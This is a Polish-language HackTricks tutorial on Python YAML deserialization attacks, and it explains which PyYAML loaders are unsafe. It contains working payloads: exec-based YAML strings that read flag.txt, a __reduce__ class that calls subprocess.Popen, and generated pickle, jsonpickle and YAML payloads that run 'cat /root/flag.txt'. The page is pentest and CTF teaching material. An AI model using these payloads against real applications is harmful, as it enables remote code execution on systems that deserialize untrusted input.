Polish - Ht
HackTricks Training Twitter Linkedin Sponsor

Python Yaml Deserialization

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Deserializacja Yaml

Biblioteki Yaml w Pythonie potrafią również serializować obiekty pythonowe, a nie tylko surowe dane:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Sprawdź, jak krotka nie jest surowym typem danych i dlatego została zaserializowana. To samo stało się z zakresem (pochodzącym z wbudowanych).

safe_load() lub safe_load_all() używa SafeLoader i nie obsługują deserializacji obiektów klasy. Przykład deserializacji obiektu klasy:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Poprzedni kod użył unsafe_load do wczytania zserializowanej klasy pythona. Wynika to z faktu, że w wersji >= 5.1 nie pozwala na deserializację żadnej zserializowanej klasy pythona lub atrybutu klasy, gdy Loader nie jest określony w load() lub Loader=SafeLoader.

Podstawowa eksploatacja

Przykład wykonania opóźnienia:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Narażone .load("<content>") bez Loadera

Stare wersje pyyaml były podatne na ataki deserializacyjne, jeśli nie określono Loadera podczas ładowania czegoś: yaml.load(data)

Możesz znaleźć opis podatności tutaj. Proponowany exploit na tej stronie to:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Możesz także użyć tego jednolinijkowca dostarczonego przez @ishaack:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Zauważ, że w najnowszych wersjach nie możesz już wywołać .load() bez Loadera, a FullLoader nie jest już podatny na ten atak.

RCE

Niestandardowe ładunki mogą być tworzone przy użyciu modułów Pythona YAML, takich jak PyYAML lub ruamel.yaml. Te ładunki mogą wykorzystać podatności w systemach, które deserializują niezaufane dane wejściowe bez odpowiedniej sanitacji.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Narzędzie do tworzenia Payloadów

Narzędzie https://github.com/j0lt-github/python-deserialization-attack-payload-generator może być użyte do generowania payloadów deserializacji w języku Python do nadużycia Pickle, PyYAML, jsonpickle i ruamel.yaml:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Odnośniki

Zacznij od zera i zostań mistrzem hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

PreviousExploiting __VIEWSTATE without knowing the secretsNextJNDI - Java Naming and Directory Interface & Log4Shell

Last updated